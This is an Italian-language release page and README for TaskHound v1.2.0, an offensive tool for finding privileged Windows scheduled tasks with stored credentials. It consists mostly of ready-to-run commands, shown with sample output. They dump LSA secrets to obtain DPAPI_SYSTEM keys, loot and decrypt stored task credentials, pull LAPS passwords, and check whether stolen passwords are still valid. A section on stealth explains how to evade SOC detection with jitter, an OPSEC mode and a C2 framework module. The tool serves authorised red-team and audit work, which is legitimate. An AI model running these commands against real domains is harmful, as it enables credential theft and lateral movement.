Torna agli aggiornamenti
New releaseSep 3, 2026

TaskHound v1.2.0

Strumento per enumerare attività pianificate privilegiate su sistemi remoti

Condividi

Logo di TaskHound

Strumento per la scoperta di attività pianificate privilegiate su Windows per divertimento e profitto.

Ultima release BloodHound OpenGraph Python 3.11+
Chiedi a DeepWiki Twitter Blog


TaskHound caccia le attività pianificate di Windows che vengono eseguite con account privilegiati e credenziali memorizzate. Enumera le attività tramite SMB, analizza i file XML e identifica opportunità di attacco ad alto valore attraverso l'integrazione con BloodHound.

Per retroscena e spiegazioni dettagliate: vedi i post associati del Blog - Parte 1 e Parte 2.

Caratteristiche principali

FunzionalitàDescrizione
Rilevamento Tier 0 & Alto ValoreIdentifica automaticamente le attività eseguite come Amministratori di Dominio, Amministratori Enterprise e altri account privilegiati
Integrazione BloodHoundConnettiti a istanze BHCE/Legacy live o importa esportazioni per il rilevamento di utenti ad alto valore
Supporto OpenGraphVisualizza le attività pianificate come nodi di percorso di attacco in BloodHound CE
Integrazione LAPSRecupera e utilizza automaticamente le password LAPS (sia Windows LAPS che Legacy) per l'autenticazione per host
Estrazione credenziali DPAPIRaccogli e decifra i blob DPAPI contenenti credenziali di attività memorizzate
Scansione multi-threadElaborazione parallela dei target con limitazione della velocità per ambienti di grandi dimensioni
Rilevamento Tier-0 basato su LDAPRileva account privilegiati tramite appartenenza a gruppi senza BloodHound
Validazione credenzialiVerifica se le password delle attività memorizzate sono ancora valide tramite RPC
Analisi offlineElabora immagini disco montate o file XML precedentemente raccolti
Formati di output multipliReport di sicurezza in testo semplice, JSON, CSV e HTML con punteggio di gravità
Risoluzione SIDRisoluzione multi-livello tramite BloodHound → Cache → LSARPC → LDAP → GC
CachingCache persistente basata su SQLite per le ricerche SID e le credenziali LAPS

Avvio rapido```bash

Install

git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .

Basic usage - single target

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple targets with threading

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10

Auto-discover all domain computers

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20

With LAPS - auto-retrieves per-host local admin passwords

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

Offline analysis of mounted disk image

taskhound --offline-disk /mnt/disk

> **Supporto per l'autenticazione**: TaskHound supporta la maggior parte dei principali meccanismi di autenticazione, tra cui password, NTLM hash, Kerberos (anche con ccache) e autenticazione con chiave AES.

## File di Configurazione

TaskHound supporta file di configurazione TOML per impostazioni persistenti. Crea `taskhound.toml` nella tua directory di lavoro o in `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"

[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30

[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}"      # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"

[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"

[laps]
enabled = true

[cache]
enabled = true
ttl = 86400  # 24 hours

Priorità : argomenti CLI > Variabili d'ambiente > Configurazione locale > Configurazione utente > Predefiniti

Integrazione con AdaptixC2

Il BOF di TaskHound è incluso nell'Adaptix Extension-Kit sotto SAR-BOF/taskhound/.

Output di esempio```

TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD

                 by 0xr0BIT

[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)

┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘

╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯

---

## Integrazione BloodHound

TaskHound supporta sia **Legacy BloodHound** (Neo4j) che **BloodHound Community Edition (BHCE)** con rilevamento automatico del formato.

### Connessione Live```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"

# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-user admin --bh-password password

# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
  --bh-user neo4j --bh-password password

Metodi di Rilevamento Tier 0

FonteMetodo di Rilevamento
BHCEisTierZero, tag di sistema (admin_tier_0), AdminSDHolder
LegacyAdminSDHolder (admincount=1), rilevamento basato su SID
LDAPQuery di appartenenza ai gruppi (--ldap-tier0)
Built-inSID di Tier 0 noti (Domain Admins, Enterprise Admins, ecc.)

Acquisizione Dati Offline

Se non è possibile una connessione live, esporta gli utenti di alto valore con queste query Cypher:

BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;

**Eredità:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups

Then use: taskhound --bh-data exported_users.json ...


Visualizzazione del Percorso di Attacco OpenGraph

Percorso di attacco OpenGraph

TaskHound crea nodi e archi personalizzati in BloodHound CE per visualizzare i percorsi di attacco delle attività pianificate.

Cosa ottieni:

  • Nodi personalizzati: ScheduledTask con oltre 20 proprietà (credenziali, trigger, analisi delle password, stato di validazione)
  • Archi personalizzati: HasTask, HasTaskWithStoredCreds, RunsAs
  • Percorsi di attacco: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash

Collect and auto-upload

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph

Generate without upload (saves to {output_dir}/opengraph/)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload

> **Nota**: OpenGraph è solo per BHCE. BloodHound Legacy non supporta tipi di nodo personalizzati.

---

## Integrazione LAPS

TaskHound può recuperare e utilizzare automaticamente le password LAPS per l'autenticazione per host. Supporta sia Windows LAPS (`msLAPS-Password`) che Legacy LAPS (`ms-Mcs-AdmPwd`), incluse le password crittografate tramite MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin

# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps

Tipi di LAPS supportati:

TipoAttributoCrittografato
Windows LAPSmsLAPS-PasswordNo
Windows LAPSmsLAPS-EncryptedPasswordSì (MS-GKDI)
Legacy LAPSms-Mcs-AdmPwdNo

Estrazione delle credenziali DPAPI

TaskHound estrae e decrittografa le credenziali dei task memorizzate utilizzando DPAPI. Il saccheggio di DPAPI è abilitato per impostazione predefinita.```bash

Step 1: Get DPAPI_SYSTEM key via LSA dump

nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa

Look for: DPAPI_SYSTEM userkey: 0x51e43225...

Step 2a: Loot + decrypt immediately (looting is default, just add key)

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...

Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local

Later:

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

Custom output directory

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected

Disable DPAPI looting explicitly

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot

> **Importante**: Ogni host ha una chiave DPAPI_SYSTEM univoca. Per scansioni multi-target, raccogli (impostazione predefinita), poi decifra ogni target offline.

---

## Convalida delle Credenziali

TaskHound valuta se le password delle attività memorizzate sono probabilmente ancora valide interrogando la cronologia di esecuzione delle attività tramite RPC e applicando euristiche. Questa funzione è **abilitata per impostazione predefinita**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds

Come funziona

Windows Task Scheduler registra solo le esecuzioni riuscite delle attività. I fallimenti di autenticazione (password errata, account bloccato, ecc.) vengono ignorati silenziosamente. L'attività semplicemente non viene eseguita.

Intuizione chiave: Windows convalida le credenziali al momento della creazione dell'attività. Se provi a creare un'attività con una password errata, ottieni ERROR_LOGON_FAILURE e l'attività non viene creata. Questo significa: se esiste un'attività con credenziali memorizzate, la password era valida quando l'attività è stata creata.

TaskHound utilizza euristiche per stimare la validità delle credenziali:

StatusMeaning
CONFIRMED_VALIDPassword invariata dalla creazione dell'attività E attività eseguita entro la pianificazione prevista - credenziali confermate funzionanti
HIGH_CONFIDENCE_VALIDPassword invariata dalla creazione dell'attività, ma tempistica del trigger sconosciuta (es. trigger di avvio) - credenziali probabilmente valide
LIKELY_VALIDPassword cambiata ma attività eseguita entro la pianificazione (credenziali aggiornate), OPPURE attività eseguita con successo (modalità solo RPC)
POSSIBLY_STALEL'attività avrebbe dovuto essere eseguita ma non lo è stata - potrebbe indicare credenziali obsolete
DEFINITELY_STALEPassword cambiata dopo l'ultima esecuzione riuscita - credenziali decisamente errate
NEVER_RAN_LIKELY_VALIDL'attività non è mai stata eseguita, ma password invariata dalla creazione - probabilmente valida (potrebbe mancare diritti di accesso batch)
NEVER_RAN_POSSIBLY_STALEL'attività non è mai stata eseguita e password cambiata dopo la creazione - probabilmente obsoleta
NEVER_RAN_UNKNOWNL'attività non è mai stata eseguita, nessun contesto AD - era valida alla creazione, stato attuale sconosciuto
UNKNOWNImpossibile determinare (account bloccato, ecc.)

L'intuizione chiave: confrontare pwdLastSet da AD con LastRunTime da Task Scheduler ci dice se la password è cambiata dopo l'ultima esecuzione riuscita. Per le attività mai eseguite, confrontare pwdLastSet con data_creazione_attività ci dice se la password è cambiata dopo che l'attività è stata creata con credenziali valide.

Senza dati AD (es. --no-ldap e nessun BloodHound): TaskHound torna alla modalità solo RPC, utilizzando solo il codice di ritorno e l'ora dell'ultima esecuzione. Un'esecuzione riuscita restituisce LIKELY_VALID; il rilevamento di obsolescenza basato sulla pianificazione si applica ancora se l'intervallo del trigger è noto dall'XML dell'attività.

Nota: Disabilitato quando si usa --opsec o --no-rpc.


Formati di Output

TaskHound supporta più formati di output per diversi casi d'uso. Tutti gli output utilizzano una struttura di directory organizzata sotto --output-dir (predefinito: ./output).

Formati Disponibili

FormatFlagDescriptionUse Case
Plain-o plainOutput console leggibile dall'uomo (predefinito)Uso interattivo, revisione rapida
JSON-o jsonEsportazione strutturata leggibile dalla macchinaAutomazione, analisi dati, scripting
CSV-o csvEsportazione compatibile con fogli di calcoloReportistica, filtraggio, analisi Excel
HTML-o htmlReport di sicurezza con punteggio di gravitàAudit del blue team, report per stakeholder

Esempi di Utilizzo```bash

Default - plain text to console + files

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple output formats

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html

JSON only for automation

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json

Custom output directory

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results

All formats for comprehensive audit

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit

### Struttura della Directory```
./output/                           # Base directory (--output-dir)
├── plain/                          # Plain text output
│   └── <hostname>/
│       └── tasks.txt
├── json/                           # JSON export
│   └── taskhound.json
├── csv/                            # CSV export
│   └── taskhound.csv
├── html/                           # HTML security reports
│   └── taskhound.html
├── opengraph/                      # BloodHound OpenGraph files
│   └── taskhound_data.json
└── raw_backups/                    # Raw collection (XML + DPAPI)
    └── <hostname>/
        ├── tasks/                  # Task XML files
        └── dpapi_loot/             # DPAPI credential blobs

Report di Sicurezza HTML

L'output HTML genera un report di sicurezza completo progettato per le valutazioni del blue team:

  • Punteggio di Gravità: Attività valutate in base al livello di rischio basato su privilegi, credenziali memorizzate e configurazione
  • Dettagli dell'Attività: Metadati completi inclusi trigger, azioni, account di esecuzione e stato di convalida
  • Filtraggio: Filtraggio lato client per host, gravità e stato delle credenziali
  • Pronto per l'Esportazione: Adatto per report gestionali e documentazione di audit

Raccolta di Backup

Per impostazione predefinita, TaskHound salva i file XML grezzi delle attività e i blob di credenziali DPAPI per l'analisi offline:```bash

Disable backup collection

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup

Analyze backups later (offline mode)

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

---

## Scansione multi-threaded

Per ambienti di grandi dimensioni, utilizzare la scansione parallela con limitazione della velocità:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5

# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20

# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90

# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0

Filtraggio Automatico dei Target

Per impostazione predefinita, --auto-targets applica un filtraggio intelligente per ridurre il rumore e le connessioni fallite:

FiltroPredefinitoOverride
Account disabilitatiEsclusi--include-disabled
Computer obsoleti (>60 giorni)Esclusi--stale-threshold 0 (disabilita)
Controller di dominioEsclusi--include-dcs

Priorità delle origini dati: BloodHound (se configurato) → fallback LDAP

Quando si utilizza BloodHound, TaskHound interroga con include_properties=true per un'enumerazione efficiente con una singola query. Se i dati di BloodHound sono più vecchi di 7 giorni, viene visualizzato un avviso; oltre 30 giorni viene attivato un avviso urgente.

Preimpostazioni filtro:

  • servers - Solo sistemi operativi Windows Server
  • workstations - Solo sistemi operativi non server
  • (raw LDAP) - Filtro LDAP personalizzato (richiede origine LDAP)

Risoluzione SID

TaskHound risolve i SID in nomi leggibili utilizzando una catena di fallback a più livelli:

  1. BloodHound (se connesso) - il più veloce, nessun traffico di rete
  2. Cache - cache persistente SQLite (TTL predefinito 24h)
  3. LSARPC - query diretta al target (la più accurata per account locali)
  4. LDAP - query al controller di dominio
  5. Catalogo globale - per SID cross-dominio/forest```bash

Separate LDAP credentials for SID resolution

taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local

Specify Global Catalog for multi-domain

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1

Disable all network-based resolution (OPSEC)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec

---

## Analisi Offline

Analizza le attività senza accesso alla rete:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local

# Mounted disk image
taskhound --offline-disk /mnt/disk

# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE

Considerazioni OPSEC

TaskHound offre un controllo granulare sulle operazioni di rete per bilanciare furtività e funzionalità.

Impatto sui protocolli

ProtocolloOperazioniFlag per disabilitare
SMBEnumerazione dei task (sempre usato)N/A
LDAP (389/636)Risoluzione SID, rilevamento Tier-0, pwdLastSet--no-ldap
Catalogo Globale (3268)Risoluzione SID tra domini--no-ldap
LSARPC (pipe SMB)Risoluzione SID di fallback--no-rpc
Registro Remoto (pipe SMB)Rilevamento Credential Guard--no-credguard
RPC di Task Scheduler (pipe SMB)Validazione delle credenziali--no-validate-creds
Raccolta file DPAPI (SMB)Raccolta blob di credenziali DPAPI--no-loot

Catena di risoluzione SID```

Default: BloodHound → Cache → LSARPC → LDAP → GC --no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC --opsec: BloodHound → Cache (only)

### Comportamento predefinito

TaskHound è **molto rumoroso per impostazione predefinita** – tutte le funzionalità sono abilitate per la massima visibilità. Questo lo rende ideale per audit e valutazioni complete in cui l'OPSEC non è un problema:

- **Rilevamento Credential Guard** – Abilitato per impostazione predefinita (disabilita con `--no-credguard`)
- **Validazione delle credenziali** – Abilitato per impostazione predefinita (disabilita con `--no-validate-creds`)
- **Svuotamento DPAPI** – Abilitato per impostazione predefinita (disabilita con `--no-loot`)
- **Risoluzione LDAP** – Abilitato per impostazione predefinita (disabilita con `--no-ldap`)
- **Operazioni RPC** – Abilitato per impostazione predefinita (disabilita con `--no-rpc`)

> [!WARNING]
> **I controlli di Credential Guard sono ALTAMENTE rilevabili.** Poiché il servizio Registro remoto è disabilitato per impostazione predefinita sui Windows moderni, TaskHound **avvierà da remoto il servizio** tramite SCM, eseguirà i controlli e poi lo fermerà (proprio come secretsdump). Questo farà accendere un qualsiasi SOC decente come un albero di Natale. **Usa sicuramente `--no-credguard` se vuoi evitarlo durante gli engagement!**

Parlando di Engagement: per operazioni red team/stealth, usa `--opsec` per disabilitare tutte le funzionalità rumorose in una volta. (Oppure usa il BOF).

### Esempi di utilizzo```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec

# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5

# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap

# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc

# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps

Migliori pratiche per la furtività

  1. Pre-caricare i dati di BloodHound - Importare prima i dati del dominio con --bh-live
  2. Usare il flag --opsec - Disabilita tutte le operazioni rumorose in una volta
  3. Aggiungere --jitter per la randomizzazione del timing - Evitare pattern di scansione prevedibili
  4. Raccogliere XML tramite altri mezzi - Analizzare offline con --offline
  5. Usare l'implementazione BOF - Disponibile in AdaptixC2

Riferimento completo CLI

TaskHound utilizza Rich per l'output della console formattato con tabelle colorate e indicatori di progresso.``` taskhound --help

<details>
<summary>Clicca per espandere l'uso completo</summary>```
Usage: taskhound [OPTIONS] [TARGETS]

AUTHENTICATION OPTIONS
  -u, --username        Username (required for online mode)
  -p, --password        Password (omit with -k for Kerberos/ccache)
  -d, --domain          Domain (required for online mode)
  --hashes              NTLM hashes (LM:NT or NT-only)
  -k, --kerberos        Use Kerberos authentication
  --aes-key             AES key for Kerberos (32 or 64 hex chars)

TARGET OPTIONS
  -t, --target          Single target or comma-separated list
  --targets-file        File with targets, one per line
  --dc-ip               Domain controller IP
  --ns, --nameserver    DNS nameserver for lookups
  --timeout             Connection timeout in seconds (default: 5)
  --threads             Parallel worker threads (default: 10)
  --rate-limit          Max targets per second (default: unlimited)
  --jitter SECONDS      Random delay (0-N seconds) between hosts (OPSEC, sequential only)
  --dns-tcp             Force DNS over TCP (for SOCKS proxies)
  --auto-targets        Auto-discover targets (BloodHound first, LDAP fallback)
  --ldap-filter         Filter for auto-targets: 'servers', 'workstations', or raw LDAP
  --include-dcs         Include Domain Controllers in auto-targets
  --include-disabled    Include disabled computer accounts
  --stale-threshold     Exclude computers inactive >N days (default: 60, 0=disable)

SCANNING OPTIONS
  --offline             Parse XMLs from directory
  --offline-disk        Analyze mounted Windows filesystem
  --disk-hostname       Override hostname for offline-disk
  --bh-data             BloodHound export file for HV detection
  --opsec               Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
  --no-rpc              Disable RPC operations (LSARPC, CredGuard, validation)
  --include-ms          Include \Microsoft tasks
  --include-local       Include local system accounts
  --include-all         Include ALL tasks
  --unsaved-creds       Show tasks without stored credentials
  --no-credguard        Disable Credential Guard detection (default: enabled)
  --no-validate-creds   Disable credential validation (default: enabled)

BLOODHOUND OPTIONS
  --bh-live             Enable live BloodHound connection
  --bh-connector        BloodHound URI (default: http://127.0.0.1:8080)
  --bh-user             BloodHound username
  --bh-password         BloodHound password
  --bh-api-key          BloodHound API key
  --bh-api-key-id       BloodHound API key ID
  --bh-timeout          API query timeout (default: 120)
  --bhce                Use BHCE (Community Edition)
  --legacy              Use Legacy BloodHound (Neo4j)
  --bh-save             Save query results to file

OPENGRAPH OPTIONS (BHCE ONLY)
  --bh-opengraph        Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
  --bh-no-upload        Skip automatic upload
  --bh-force-icon       Force icon update
  --bh-icon             Icon name (default: clock)
  --bh-color            Icon color (default: #8B5CF6)
  --bh-allow-orphans    Create edges for missing nodes

DPAPI OPTIONS
  --no-loot             Disable DPAPI credential collection (default: enabled)
  --dpapi-key           DPAPI_SYSTEM userkey (hex format)

LDAP/SID RESOLUTION
  --no-ldap             Disable LDAP/GC operations
  --ldap-user           Alternative LDAP username
  --ldap-password       Alternative LDAP password
  --ldap-hashes         Alternative LDAP hashes
  --ldap-domain         Alternative LDAP domain
  --ldap-tier0          Enable LDAP-based Tier-0 detection
  --gc-server           Global Catalog server IP

LAPS OPTIONS
  --laps                Enable LAPS authentication
  --laps-user           Override local admin username
  --force-laps          Force LAPS in OPSEC mode

CACHE OPTIONS
  --cache-ttl           Cache TTL in seconds (default: 86400)
  --no-cache            Disable caching
  --clear-cache         Clear cache before run
  --cache-file          Cache file path

OUTPUT OPTIONS
  -o, --output          Output formats (comma-separated: plain,json,csv,html)
                        Default: plain
  --output-dir          Base output directory (default: ./output)
  --no-backup           Disable raw XML backup collection
  --no-summary          Disable summary table

  Output directory structure:
    ./output/
    ├── plain/<host>/tasks.txt    # Plain text output
    ├── json/taskhound.json       # JSON export
    ├── csv/taskhound.csv         # CSV export
    ├── html/taskhound.html       # HTML security report
    ├── opengraph/                # BloodHound OpenGraph files
    └── raw_backups/<host>/       # Raw XML + DPAPI files
        ├── tasks/                # Task XML files
        └── dpapi_loot/           # DPAPI credential blobs

MISC
  --verbose             Verbose output
  --debug               Debug output with stack traces

Roadmap

Quando l'assunzione di caffeina e il tempo libero si allineano:

Completati di recente

  • Autenticazione con chiave API - Richieste firmate HMAC-SHA256
  • Supporto LAPS - LAPS Windows + Legacy + crittografato tramite MS-GKDI
  • Elaborazione multi-thread - Scansione parallela con limitazione della velocità
  • Validazione delle credenziali - Verifica della validità delle password basata su RPC
  • Formati di output multipli - Plain, JSON, CSV, HTML con struttura di directory organizzata
  • Scoperta automatica dei target - Enumerazione dei computer basata su LDAP
  • Modalità disco offline - Analisi di immagini disco montate
  • Caching persistente - Cache SQLite per dati SID/LAPS
  • Output console ricco - Tabelle colorate e indicatori di progresso
  • Supporto cross-dominio - Ambienti multi-dominio con relazioni di trust

Pianificati

  • Modularizzazione delle fasi: Questo è diventato un colosso con troppi interruttori. Sistemerò.
  • Integrazione delle informazioni sugli abusi: Tecniche MITRE ATT&CK nei nodi di BloodHound
  • Mappature Tier-0 personalizzate: Supporto per zone di privilegio definite dall'utente in BHCE
  • Controlli Linux: Supporto per la scansione di sistemi operativi basati su *nix

Riconoscimenti

E tutti coloro che hanno contribuito a rendere accessibili gli strumenti di sicurezza offensiva.


Disclaimer

TaskHound è strettamente uno strumento di audit e didattico. Utilizzalo solo in ambienti di tua proprietà o per i quali hai esplicita autorizzazione. Sul serio. Non fare il furbo.

Contributing

PR benvenuti. Metà di questo è stato vibe-coding indotto dalla caffeina, quindi non aspettarti miracoli.

License

Usa responsabilmente. Nessuna garanzia fornita. Vedi LICENSE per i dettagli.

Categorie